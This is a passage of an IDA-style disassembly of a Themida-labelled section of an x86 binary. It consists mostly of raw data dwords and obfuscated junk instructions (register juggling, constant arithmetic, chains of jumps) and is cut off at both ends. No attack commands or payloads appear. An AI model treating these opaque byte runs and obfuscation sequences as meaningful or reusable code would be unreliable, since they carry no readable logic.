2C8904ECh, 256BBD24h ; DATA XREF: Themida_:005444A8o dd 0E5C17F5Eh, 6804h, 2C290000h, 0ED815D24h, 0E66E67D8h dd 0FF9553E9h, 4EC81FFh, 89000000h, 5358243Ch, 0C381E389h dd 4, 8704EB83h, 895C241Ch, 0C6892434h, 0FFCFD0E9h, 4C483FFh dd 81241C8Bh, 4C4h, 4279E900h, 487FFFFh, 24248B24h, 68C8BF0Fh dd 4DE9h, 0FFF8DDE9h, 65C681FFh, 158CF65h, 0FD895EF7h dd 0E9EE015Fh, 0FFFF45ACh, 0EE0DC581h, 0EE01880Fh, 74FF565Dh dd 8F5E0424h, 665C2404h, 56C8B60Fh, 0C681E689h, 4 db 51h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp jmp loc_545B8C ; --------------------------------------------------------------------------- loc_55048A: ; CODE XREF: Themida_:005495F5j push edi jmp loc_546F3D ; --------------------------------------------------------------------------- dd 13A8EE81h, 0E95D1874h, 0FFFFFB59h, 8147F281h, 0D3019A88h dd 8BD8295Ah, 9EE9241Ch, 53FFFFF5h, 2BE9D7B3h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5504B7: ; CODE XREF: Themida_:0054A154j mov edi, 4 add ebx, edi pop edi push ebp jmp loc_54A7AE ; --------------------------------------------------------------------------- db 89h, 0E5h, 81h dd 4C5h, 4C58100h, 87000000h, 0E95C242Ch, 0FFFFD5B0h, 5C240487h dd 89242C89h, 23EE9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5504EA: ; CODE XREF: Themida_:00549904j push ebx jmp loc_54C4E0 ; --------------------------------------------------------------------------- dd 2434FF54h, 83242C8Bh, 0C48104C4h, 4, 0E2C68h, 24148900h dd 983BA9BAh, 0ADB9514Ah, 314A983Bh, 26E959CAh db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_55051B: ; CODE XREF: Themida_:0054EB59j mov cl, 89h jmp loc_546C40 ; --------------------------------------------------------------------------- dw 0DD29h dd 2BED815Bh, 17F0E7Bh, 2BC581F5h, 507F0E7Bh, 6C7F9EB8h dd 7F990D77h, 2D40715Dh, 71696D7Bh, 0FDE9C501h, 31FFFF98h dd 0D80159CBh, 0FFAB2BE9h, 29BB53FFh, 0E96AE162h, 0FFFF8B90h dd 0F7ED81h, 0FD011BB9h, 0F7BA52h, 0D5011BB9h, 0FF80C5E9h dd 0EA815FFFh, 3CD04579h, 0B850DA29h, 3CD04579h, 78E9C201h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55058B: ; CODE XREF: Themida_:0054BCAEj xchg esi, [esp] mov esp, [esp] mov [esp], ebx push 26BAh mov [esp], ebp push ebx jmp loc_545C3C ; --------------------------------------------------------------------------- aNh db 'h"#',0 ; DATA XREF: Themida_:00544638o align 4 dd 0BD242C89h, 0EA265E0h, 2368D5F7h, 8900000Ch, 97B9240Ch dd 0C165ED3Bh, 0B8E906E1h db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5505C7: ; CODE XREF: Themida_:005448A1j mov esi, 59B84B22h xor esi, 5D2700FEh or esi, 617659B0h xor esi, 23DD2968h sub eax, esi pop esi and eax, 5B222C98h shl eax, 6 or eax, 781D3A7Bh add eax, 3CF85CBDh jmp loc_5508FD ; --------------------------------------------------------------------------- loc_5505F8: ; CODE XREF: Themida_:00550B72j mov [esp], ecx jmp loc_547B50 ; --------------------------------------------------------------------------- dd 7947C981h, 0E18127EFh, 408727F8h, 23F4F181h, 0CE010087h dd 0E9240C8Bh, 0FFFFA787h, 4558EF81h, 0F83119C0h, 0E9C6015Fh dd 0FFFFBB03h ; --------------------------------------------------------------------------- loc_55062C: ; CODE XREF: Themida_:00546A59j pop eax push ecx mov ecx, esp jmp loc_54505C ; --------------------------------------------------------------------------- byte_550635 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005445C8o dd 4EC8124h, 89000000h, 5E542434h, 4EC8352h, 68243C89h dd 64F41885h, 83243C8Bh, 0E94704C4h, 0FFFFDE57h, 4EC815Ah dd 0E9000000h, 0FFFFDBA2h, 3AC6815Ch, 0E9495B5Bh, 0FFFF49BBh dd 8802B652h, 50665AF5h, 8034B353h, 0B05035CBh, 8BC30814h dd 0EAE92404h, 51FFFFC2h, 0E1C06FB1h, 83F18008h, 59C828h dd 83B652E8h, 0F0002D04h, 0DEF4E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5506AA: ; CODE XREF: Themida_:0054541Cj add esp, 4 and ecx, ebp mov ebp, [esp] push 26B9h mov [esp], edx mov edx, esp push esi jmp loc_54AD8F ; --------------------------------------------------------------------------- db 1, 0D8h, 5Bh dd 251AEB81h, 0C3813C93h, 6C287C3Fh, 0BF57C301h, 6C287C3Fh dd 685FFB29h, 750Ah, 0E9242C89h, 0A6Fh ; --------------------------------------------------------------------------- loc_5506EC: ; CODE XREF: Themida_:0054CE35j mov cl, 30h sub cl, 0B2h shr cl, 4 neg cl or cl, 78h add cl, 0Eh sub bh, cl jmp loc_5487E0 ; --------------------------------------------------------------------------- db 89h dd 37E9240Ch, 0BDFFFFF2h, 6CC12540h, 4D4DDDF7h, 68C3CD81h dd 0C5815E49h, 6F9A2926h, 0E95DEA29h, 2E1h, 4C581h, 0EC830000h dd 24148904h, 219E9h, 2C916800h, 14890000h, 81E28924h dd 4C2h, 4EA8100h, 33000000h, 14312414h, 24143324h, 6937E95Ch dd 0C381FFFFh, 0F3511DFh, 24148B50h, 2C0D68h, 24048900h dd 0BE565854h, 27CB195Ah, 0FFFDD8E9h, 2434FFFFh, 8124048Bh dd 4C4h, 4C48300h, 0FF9131E9h db 0FFh ; --------------------------------------------------------------------------- loc_550791: ; CODE XREF: Themida_:0054CD77j add al, 55h add al, 3Ch add al, dl push ebx mov bl, 3Ch sub al, bl jmp loc_54A680 ; --------------------------------------------------------------------------- byte_5507A1 db 83h, 0ECh, 4 ; DATA XREF: Themida_:00544580o dd 0E9240489h, 0FFFF4EFBh, 0D7E95854h, 35FFFFE1h, 0E4B18A38h dd 8158C231h, 7B3FE7EFh, 81D70155h, 7B3FE7C7h, 7E95A55h dd 0E9FFFFF3h, 0FFFF3ED3h, 4EC81h, 4890000h, 0FCC6824h dd 1BE90000h, 83FFFFBFh, 49E904ECh, 66FFFFD5h, 6675C62Dh dd 566E801h, 34FF75C6h, 0C4835D24h, 797AE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550806: ; CODE XREF: Themida_:0054EB06j mov [esp], ecx push esi jmp loc_54C2FA ; --------------------------------------------------------------------------- db 81h dd 4C2h, 2C28100h, 87000000h, 0F65C2414h, 240C30D1h, 30240C32h dd 78E9240Ch db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55082F: ; CODE XREF: Themida_:00550B4Aj mov edi, [esp] push ebp jmp loc_5456ED ; --------------------------------------------------------------------------- loc_550838: ; CODE XREF: Themida_:0054E5BCj pop edi or eax, eax jnz loc_550D4D push edi mov edi, 2A900760h add edi, 0FFFFFFFFh push ebp push ecx push esi mov esi, 7C7A0F51h shr esi, 4 jmp loc_548E22 ; --------------------------------------------------------------------------- dw 0E3C1h dd 0D3FDE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550862: ; CODE XREF: Themida_:00548EFBj not ebp push ebx mov ebx, 47077EB1h xor ebp, ebx pop ebx shl ebp, 3 push ebx jmp loc_54528C ; --------------------------------------------------------------------------- loc_550876: ; CODE XREF: Themida_:0054B802j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push eax jmp loc_54EA1B ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 68000000h, 688Ch, 0E9240489h, 0FFFF3E07h ; --------------------------------------------------------------------------- loc_5508A0: ; CODE XREF: Themida_:0054A654j not ebx xchg eax, ebx add eax, 5A7BA26Dh or esi, eax pop eax jmp loc_547F24 ; --------------------------------------------------------------------------- dd 99E9C7FEh db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5508B7: ; CODE XREF: Themida_:0054535Aj push eax jmp loc_5494AE ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 24043166h, 3DDDE99Ch, 0B151FFFFh, 0E9C80093h, 0FFFF9836h ; --------------------------------------------------------------------------- loc_5508D4: ; CODE XREF: Themida_:0054AF7Ej add ebx, 7D351BC9h pop eax add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_550FFA ; --------------------------------------------------------------------------- db 31h, 0Ch, 24h dd 0FF959EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5508F1: ; CODE XREF: Themida_:0054F40Ej pop esp xchg esi, ebp not esi xchg esi, ebp jmp loc_54F69C ; --------------------------------------------------------------------------- loc_5508FD: ; CODE XREF: Themida_:005505F3j sub eax, 35159B34h add edx, eax pop eax xchg edx, [esp] mov esp, [esp] loc_55090B: ; CODE XREF: Themida_:00545543j push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx push dword ptr [esp] jmp loc_54BFD1 ; --------------------------------------------------------------------------- dw 0F581h dd 0DB7BC1CAh, 815DEB31h, 1129FEC2h, 4EC2810Dh, 1766429h dd 4EEA81DAh, 81766429h, 1129FEEAh, 0C2835B0Dh, 6348E902h dd 0BB53FFFFh, 1895105h, 895107BAh, 5BDA2901h, 2FC1C581h dd 0D5012B19h, 2FC1ED81h, 555A2B19h, 42474FFh, 24048F5Dh dd 0F624248Bh, 0B60F66F9h, 58D668CCh, 3C890000h, 5E95424h dd 89FFFF97h, 0C6BB53E2h, 0F728A468h, 6E39E9D3h db 2 dup(0FFh) word_55099E dw 34FFh ; DATA XREF: Themida_:005444C8o dd 65CEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5509A6: ; CODE XREF: Themida_:0054B040j push 101Bh mov [esp], ebp mov ebp, 28343B8Ah push eax mov eax, 574B2F28h add ebp, eax pop eax shl ebp, 3 push edx mov edx, 5C986646h xor edx, 10865E4Ah jmp loc_5475C1 ; --------------------------------------------------------------------------- loc_5509D0: ; CODE XREF: Themida_:00546AEFj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_54C5EF ; --------------------------------------------------------------------------- db 0BAh, 2, 0 dd 0D6010000h, 0FFF481E9h, 53B850FFh, 406FF91Eh, 2125D0F7h dd 0D259876h, 197A2A7Eh, 0FFBC59E9h, 5EAC1FFh, 0E950DAF7h dd 0FFFFABFDh dword_550A14 dd 240C8B66h, 464E68h, 24148900h, 0B850E289h, 471610D1h ; DATA XREF: Themida_:00544494o dd 1610CD2Dh, 0B9515647h, 65C522D7h, 0D3E9CE89h, 53FFFF55h dd 0FFD534E9h, 5AD501FFh, 2C581h, 0FF550000h, 5D042474h dd 0E924048Fh, 0FFFF8616h, 0E95AA004h, 0FFFFAE3Bh, 0E9241C86h dd 79h ; --------------------------------------------------------------------------- loc_550A68: ; CODE XREF: Themida_:0054BFEBj push edi mov edi, 18F672CBh xor edi, 7B512C05h xor edi, 63A75ECAh add esi, edi pop edi push 5951h jmp loc_545117 ; --------------------------------------------------------------------------- db 1 dd 80C781DFh, 8B79C13Dh, 2CE9241Ch, 81FFFFD9h, 9386EC5h dd 81FD017Fh, 9386EEDh, 34FF5F7Fh, 0CB6FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550AAE: ; CODE XREF: Themida_:00547F36j add esi, 1 push eax push ebx mov ebx, 2A210367h mov eax, 7363438Ah sub eax, ebx pop ebx jmp loc_54BED5 ; --------------------------------------------------------------------------- dd 8704EB83h, 248B241Ch, 24048924h, 0C12889B0h, 59C80058h dd 0FF65D2E9h, 50D3F6FFh, 5C8AD888h, 0CDE90424h, 5FFFF4Ah dd 4072F024h, 8158C231h, 0BF4A5DE2h, 5B05E92Ah, 0C181FFFFh dd 10200126h, 0FFF474E9h db 0FFh ; --------------------------------------------------------------------------- loc_550B0D: ; CODE XREF: Themida_:0054E478j sub esp, 4 mov [esp], ecx mov ecx, 92639F98h sub edx, ecx pop ecx add ebp, edx pop edx xchg ebp, [esp] pop esp sub al, bh mov bx, [esp] add esp, 2 push ecx mov ch, 0D3h dec ch not ch xor ch, 81h push eax jmp loc_547527 ; --------------------------------------------------------------------------- loc_550B41: ; CODE XREF: Themida_:0054C0A0j add edi, ebp pop ebp xchg edi, [esp] pop esp and ecx, edi jmp loc_55082F ; --------------------------------------------------------------------------- db 89h dd 0ADB9240Ch, 0E9282627h, 0FFFF4456h, 2924248Bh, 0E99C2404h dd 0FFFF3B3Fh ; --------------------------------------------------------------------------- loc_550B68: ; CODE XREF: Themida_:0054BBDBj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_5505F8 ; --------------------------------------------------------------------------- loc_550B77: ; CODE XREF: Themida_:0054ADECj and eax, ebp mov ebp, [esp] push edi mov edi, esp push ebp mov ebp, 4 add edi, 19A7272Fh add edi, ebp sub edi, 19A7272Fh pop ebp push eax push ecx jmp loc_547791 ; --------------------------------------------------------------------------- db 0F7h dd 80C681DEh, 50279214h, 0FF62D0E9h, 244481FFh, 0A435C304h dd 0D1E95912h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550BB7: ; CODE XREF: Themida_:005454D5j mov edi, 2410634Ch and edi, 159F4CDCh shl edi, 2 add edi, 0EFBEFED4h jmp loc_54C190 ; --------------------------------------------------------------------------- dd 0E9240489h, 0FFFF5040h, 0EE81D601h, 0CD650E7h, 0FFEEA2E9h db 0FFh byte_550BE5 db 8Bh, 2 dup(24h) ; DATA XREF: Themida_:005443F4o dd 0FF3ABAE9h, 5D5455FFh, 0B647E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550BF6: ; CODE XREF: Themida_:0054E27Cj add edi, 3BA163B5h jmp loc_54FD74 ; --------------------------------------------------------------------------- db 81h, 0C3h, 22h dd 0FF5A475Eh, 0E95E2434h, 0FFFFB6F6h, 44056857h, 2EE92B9Bh dd 31FFFFB4h, 44E92414h, 0BAFFFF9Ah, 4, 875AD501h, 248B242Ch dd 4C78124h, 81000000h, 2EFh, 0AC35E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C42: ; CODE XREF: Themida_:0054ED89j push esi mov esi, 76FC67D0h jmp loc_54F3E5 ; --------------------------------------------------------------------------- db 1, 0EFh, 5Dh dd 0A834E952h, 8F5FFFFFh, 0EAE92404h db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C5F: ; CODE XREF: Themida_:0054EA35j xor ebp, [esp] jmp loc_54949A ; --------------------------------------------------------------------------- loc_550C67: ; CODE XREF: Themida_:0054C934j add esp, 4 jmp loc_54B6F9 ; --------------------------------------------------------------------------- loc_550C6F: ; CODE XREF: Themida_:00550C86j mov edx, eax pop eax xor edi, edx pop edx sub edi, 1 jmp loc_54C3EF ; --------------------------------------------------------------------------- loc_550C80: ; CODE XREF: Themida_:0054FFD8j mov edi, ecx pop ecx add eax, edi pop edi jmp loc_550C6F ; --------------------------------------------------------------------------- loc_550C8B: ; CODE XREF: Themida_:0054D406j xor ebp, 0B2E39CB0h add edi, 74C0309h add edi, ebp sub edi, 74C0309h mov ebp, [esp] jmp loc_54F19D ; --------------------------------------------------------------------------- loc_550CA7: ; CODE XREF: Themida_:00548C10j mov esi, ebp mov eax, esi pop esi mov ebp, [esp] push edx mov edx, esp jmp loc_54A26A ; --------------------------------------------------------------------------- loc_550CB7: ; CODE XREF: Themida_:0054CC12j sub ebp, eax sub ebp, 3FEB6597h pop eax jmp loc_54B28A ; --------------------------------------------------------------------------- loc_550CC5: ; CODE XREF: Themida_:00544DE1j sub ecx, 197992E5h push ecx add dword ptr [esp], 45A86788h jmp loc_54E93A ; --------------------------------------------------------------------------- dd 7DE1E959h, 0B652FFFFh, 0C4F680EEh, 0E9A6EE80h, 0FFFFE892h ; --------------------------------------------------------------------------- loc_550CEC: ; CODE XREF: Themida_:0054608Dj xchg esi, [esp] pop esp add eax, 55617794h sub eax, ebx sub eax, 55617794h jmp loc_544B64 ; --------------------------------------------------------------------------- loc_550D01: ; CODE XREF: Themida_:0054CB02j mov ebp, 2FF06248h xor ebp, 2D803803h and ecx, ebp jmp loc_54AB71 ; --------------------------------------------------------------------------- db 51h dd 0B13AB450h, 0E9E1306Ah, 0FFFFA3C0h, 4AC90540h, 0D0F77C28h dd 45B4FE2Dh, 0B6D8E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D32: ; CODE XREF: Themida_:00546E67j mov eax, 49CA70B8h add [esp+8], eax pop eax mov edi, [esp] add esp, 4 pop edx add edx, 1392B70h pop edi loc_550D4D: ; CODE XREF: Themida_:0054F542j ; Themida_:0055083Bj push ebx push ecx mov ecx, esp push edx mov edx, 4 add ecx, edx pop edx push edi mov edi, 122B32ECh shr edi, 2 xor edi, 48ACCBFh sub ecx, edi pop edi xchg ecx, [esp] pop esp mov [esp], edx push 203Eh mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp mov ebp, 7AA2519Eh xor ebp, 3379202Dh sub [esp+4], ebp pop ebp mov eax, [esp] add esp, 4 add eax, 49DB71B3h push 36C0h mov [esp], edx jmp loc_54E6E7 ; --------------------------------------------------------------------------- dw 0E1C0h dd 44C18005h, 0FF7938E9h db 0FFh byte_550DC9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054461Co dd 0E0895024h, 4B951h, 0C8010000h, 0F321E959h db 2 dup(0FFh) word_550DDE dw 83ADh ; DATA XREF: Themida_:00544434o dd 0F00207Fh, 0FFB11C84h, 5FBF57FFh, 5242DC1Eh, 512268h dd 240C8900h, 4177AAB9h, 59CA8957h, 0F75AD731h, 1EF781D7h dd 18D41B2h, 72E95FFEh db 66h, 2 dup(0FFh) byte_550E13 db 66h ; DATA XREF: Themida_:0054448Co dd 8124048Bh, 4ECh, 4D54E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550E22: ; CODE XREF: Themida_:0054B348j pop edi sub eax, 1E700C19h add eax, edi push edx jmp loc_545676 ; --------------------------------------------------------------------------- dd 88E8B151h, 515359CAh, 9594E953h, 74FFFFFFh, 8F580424h dd 248B2404h, 24348924h, 0BB535E54h, 4, 0FF6783E9h, 4C481FFh dd 66000000h, 6AE9EA87h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550E67: ; CODE XREF: Themida_:0054F54Bj push dword ptr [esp] pop eax push edx mov edx, esp jmp loc_54C6C5 ; --------------------------------------------------------------------------- loc_550E73: ; CODE XREF: Themida_:005468EDj pop eax add esp, 4 jmp loc_550FAD ; --------------------------------------------------------------------------- db 2Dh dd 3CA03A98h, 5A394C2Dh, 69DBE94Bh, 0C8BFFFFh, 0AF5EE924h dd 3166FFFFh, 33662404h, 31662404h, 0E92404h, 89FFFF38h dd 0E9572414h, 0FFFF4BCDh, 4246C31h, 0FF5429E9h db 0FFh ; --------------------------------------------------------------------------- loc_550EB9: ; CODE XREF: Themida_:00547501j add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_5468E0 ; --------------------------------------------------------------------------- db 89h, 0E5h, 53h dd 4BBh, 5BDD0100h, 0FF6BACE9h, 245401FFh, 246C8104h, 17605004h dd 53585A42h, 0FF80F7E9h, 0C70159FFh, 2C26EF81h, 565809A5h dd 0D53548BEh, 0C5F68126h, 81698C00h, 2D4D21EEh, 0ABF6815Eh dd 1AEE995h, 24348BF7h, 4704C483h, 0DE2AB951h, 0D0E93DAAh dd 81FFFFEEh, 17327DCFh, 0BA524779h, 4EF649E2h, 21E9D731h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550F3B: ; CODE XREF: Themida_:0054D9A8j and eax, 571E4E94h sub esp, 4 mov [esp], esi mov esi, 0BB650B9h sub eax, esi pop esi push esi mov esi, 7A873BD0h neg esi xor esi, 0E860E478h add eax, esi jmp loc_545E35 ; --------------------------------------------------------------------------- dw 1489h dd 2E50BA24h, 0BA521856h, 43BC4DE5h, 0E95AD301h, 0FFFF71E6h dd 0C90B585Eh, 38CF840Fh, 0AB68FFFFh, 8900004Eh, 0E9532424h dd 0FFFFAEEDh, 8108EDC1h, 717E91C5h, 5DE8311Ah, 3506E0C1h dd 3C997E41h, 0FFBD61E9h db 0FFh ; --------------------------------------------------------------------------- loc_550FAD: ; CODE XREF: Themida_:00550E7Aj push edi mov edi, esp push ecx mov ecx, 6966774Ah shr ecx, 6 xor ecx, 303B381Eh sub ecx, 319EA1BFh add edi, ecx mov ecx, [esp] push edx jmp loc_54C91C ; --------------------------------------------------------------------------- loc_550FD0: ; CODE XREF: Themida_:00548F13j xor ecx, eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_54DA05 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 56242C89h, 2BEh, 8B73E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550FFA: ; CODE XREF: Themida_:005508E4j push ebp jmp loc_548334 ; --------------------------------------------------------------------------- dd 0E5C1DDF7h, 6EDC108h, 3AE7E956h db 2 dup(0FFh) aMHn db '¬,¸(Øh',0Ah,0 ; DATA XREF: Themida_:005444CCo align 4 dd 53240C89h, 0DD8814B3h, 0B968665Bh, 6F91E934h, 6C81FFFFh dd 2990424h, 4C0111E6h, 0B9E90424h db 40h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55103B: ; CODE XREF: Themida_:0054F7C7j push esp pop ecx push ebx push eax mov eax, 4F60435Eh neg eax shr eax, 8 jmp loc_54D8FF ; --------------------------------------------------------------------------- word_55104E dw 77FFh ; DATA XREF: Themida_:0054441Co dd 793DE93Ch, 2968FFFFh, 0E900005Ah, 0FFFF8A78h, 0E924048Bh dd 0FFFF85CBh ; --------------------------------------------------------------------------- loc_551068: ; CODE XREF: Themida_:0054CADCj push dword ptr [esp] mov ebp, [esp] push ebx mov ebx, esp jmp loc_544B41 ; --------------------------------------------------------------------------- dw 0C681h dd 4E5479BBh, 75E9CE01h, 83FFFF53h, 148904ECh, 0F611B624h dd 41EE80DEh, 0E919EB80h, 0FFFFC01Bh ; --------------------------------------------------------------------------- loc_551098: ; CODE XREF: Themida_:0054483Fj shl ecx, 4 xor ecx, 6556F654h add edx, ecx pop ecx sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], eax push 751A6047h push dword ptr [esp] jmp loc_54EDBA ; --------------------------------------------------------------------------- db 81h, 0CBh, 0DDh dd 43446F31h, 1C33F381h, 0C3816835h, 2578CA9Eh, 15BDE29h dd 8BC681CEh, 5963532Eh, 0FF8D45E9h, 0C5EE81FFh, 101080Bh dd 8F3CE9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5510F2: ; CODE XREF: Themida_:0054DF2Fj pop edx add ebx, 2 jmp loc_54E0A9 ; --------------------------------------------------------------------------- loc_5510FB: ; CODE XREF: Themida_:0054D054j xor eax, edx mov edx, [esp] jmp loc_54D289 ; --------------------------------------------------------------------------- loc_551105: ; CODE XREF: Themida_:0054DFD6j add ch, 5Bh sub ch, ah sub ch, 5Bh push edx push ebx mov bl, 41h mov dl, bl mov ebx, [esp] add esp, 4 neg dl jmp loc_54E1D0 ; --------------------------------------------------------------------------- loc_551123: ; CODE XREF: Themida_:00548ABAj mov edi, [esp] jmp loc_54880E ; --------------------------------------------------------------------------- db 8Bh dd 14892424h, 0C0DBB624h, 0B05003EEh, 58C608DBh, 0FF4C2FE9h db 0FFh ; --------------------------------------------------------------------------- loc_551141: ; CODE XREF: Themida_:005483F7j pop edx neg ebp not ebp sub esp, 4 mov [esp], esi mov esi, 547957BCh neg esi shl esi, 4 jmp loc_54E33A ; --------------------------------------------------------------------------- db 50h dd 0F72115B8h, 0E9C58950h, 0FFFF9D6Ch, 5E2434FFh, 4C481h dd 30E90000h, 5EFFFF35h, 5C24048Fh, 68241C89h, 46F2h, 68240C89h dd 17AF5FADh, 0FF8798E9h, 4C483FFh, 0FFB5BAE9h, 74C68FFh dd 8F540000h, 0B2E92404h, 5BFFFF8Fh, 373068h, 242C8900h dd 0E63713BDh, 0D7CD8179h, 521B5F7Eh, 0EA5686BAh, 81D2F738h dd 54E94DF2h, 0E9D5099Dh, 0FFFF87D8h, 815DEE29h, 277A43C3h dd 81F32907h, 277A43EBh, 1C875E07h, 3A3BE924h, 0D000FFFFh dd 742C252Ch, 5A2434FFh, 4EC81h, 1C890000h, 0E9E38924h dd 0FFFFA71Bh ; --------------------------------------------------------------------------- loc_551204: ; CODE XREF: Themida_:0054481Dj xor esi, 0D9766CB8h jmp loc_54F550 ; --------------------------------------------------------------------------- db 55h dd 0FFE582E9h db 0FFh ; --------------------------------------------------------------------------- loc_551215: ; CODE XREF: Themida_:0054E343j pop esi sub ebp, 2900027h mov edx, ebp jmp loc_54DDC4 ; --------------------------------------------------------------------------- byte_551223 db 0ACh ; DATA XREF: Themida_:0054460Co dd 0B551D830h db 0Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54CAE1 ; --------------------------------------------------------------------------- loc_551231: ; CODE XREF: Themida_:00549BBFj mov [esp], esi push esp pop esi add esi, 4 push ebp push edx jmp loc_54C00A ; --------------------------------------------------------------------------- byte_551243 db 66h ; DATA XREF: Themida_:005444FCo dd 51240C8Bh, 0C181E189h, 4, 0E904E983h, 0FFFFE33Fh ; --------------------------------------------------------------------------- loc_551258: ; CODE XREF: Themida_:00547AFDj xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], esi jmp loc_54E94B ; --------------------------------------------------------------------------- word_55126A dw 8F64h ; DATA XREF: Themida_:005444B4o dd 3435E902h, 815BFFFFh, 0F37DFCC6h, 0ACE8164h, 0E9791721h dd 0FFFF619Bh, 0D488CA88h, 8124148Bh, 4C4h, 52F48600h dd 12454F6h, 30F4305Ah, 0E9F430E6h, 0FFFF61F5h, 13E95AB1h dd 58FFFFFBh, 69C8EB81h, 0FB2939D6h, 69C8C381h, 0EC8139D6h dd 4, 56240C89h, 0E53681BEh, 0AF60B918h, 76E981A5h, 5EFFFF41h dd 4EC81h, 14890000h, 2BA24h, 0D7010000h, 8324148Bh, 3FE904C4h dd 28FFFF72h, 3C580C5h, 0E8305866h, 0D8B05059h, 0FFD1A5E9h dd 32FFBAFFh, 0D7897C7Dh, 0FFCFE3E9h, 0F0E95DFFh db 0E7h, 2 dup(0FFh) byte_551313 db 66h ; DATA XREF: Themida_:005443CCo dd 55240C8Bh, 0FF5F9AE9h, 5EC281FFh, 296A9371h, 5EEA81CAh dd 596A9371h, 0FFBEDDE9h, 505E5AFFh, 4F3F34B8h, 0B278E921h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55133E: ; CODE XREF: Themida_:0054F049j sub [edi+24h], ecx mov ecx, [esp] jmp loc_547EAF ; --------------------------------------------------------------------------- byte_551349 db 66h, 50h, 68h ; DATA XREF: Themida_:005443F8o dd 7FE2h, 88241C89h, 664968CFh, 0C890000h, 88515024h, 0E9CC88F9h dd 0FFFFDFD0h, 4EC8156h, 89000000h, 2968240Ch, 591C6B36h dd 0FF9229E9h, 0BE565EFFh, 0FC6CDB68h, 15EF201h, 24148BD1h dd 8704C483h, 0DCE9240Ch, 81FFFFBEh, 4C4h, 0DDF74500h dd 9BCB850h, 4AE94D6Fh db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5513AB: ; CODE XREF: Themida_:0054E553j sub bl, 76h pop ecx add bl, 62h jmp loc_54A301 ; --------------------------------------------------------------------------- db 3Bh dd 0E8E99CC8h, 8BFFFF32h, 68E9240Ch, 4FFFFC5h, 7FFE03h dd 4000000h, 3005A03h, 0A8005AC0h, 0E7FA28C6h, 0DD005B1Dh dd 1700A069h, 2000002h, 1000000h, 6000000h, 0A8000000h dd 0FA28C6h, 4 dup(0) dd 0EF000000h, 0E2005637h, 120055C5h, 4F005667h, 23005563h dd 0E600559Ah, 0C1005663h, 5005664h, 30055BEh, 0C100551Bh dd 2F00564Ah, 0F5005634h, 940055D8h, 7C00565Ah, 54005594h dd 0F00559Fh, 5D005639h, 1700566Ah, 0D4005522h, 0C8005538h dd 6500562Fh, 0BA005661h, 2C005598h, 5A005604h, 3F00552Ch dd 430055F3h, 0F700557Ah, 48005531h, 0F500559Ah, 210055B5h dd 74005555h, 0E100555Fh, 0F7005629h, 0F005532h, 0F1005574h dd 1A00554Bh, 0D2005534h, 2B005544h, 0F0055DEh, 1B005657h dd 0C50055AEh, 3C005669h, 790055E6h, 900557Fh, 61005659h dd 0EA005601h, 0F400566Bh, 0A1005543h, 0C00562Eh, 32005573h dd 630055CBh, 1E005635h, 2D0055F0h, 0CF005624h, 0EA00563Eh dd 0A100559Bh, 7B00552Eh, 1900556Fh, 0F9005529h, 9900557Eh dd 0EB0055A0h, 1400557Ch, 5300560Ah, 280055B9h, 260055C1h dd 9400561Dh, 0B005654h, 7D005602h, 2B0055D9h, 0BD00555Ah dd 1C005558h, 9A0055E2h, 0B30055D5h, 0FE00564Fh, 0B1005623h dd 0D30055F1h, 3D005668h, 80055DDh, 2600554Ch, 0FE0055C6h dd 48005582h, 5900553Fh, 0B00055B3h, 7A00557Ch, 4400562Ch dd 0F00559Dh, 0ED00560Fh, 0B000558Ch, 510055E6h, 8B00551Ah dd 7100556Bh, 93005654h, 0B3005527h, 0EA0055FEh, 62005595h dd 970055EEh, 5B005640h, 0CF005595h, 0C500557Fh, 3C005550h dd 2900551Fh, 2A00562Fh, 0B9005631h, 8B00559Ah, 7E0055D1h dd 2A0055CEh, 0FB00560Eh, 0CF005587h, 27005590h, 0A300558Bh dd 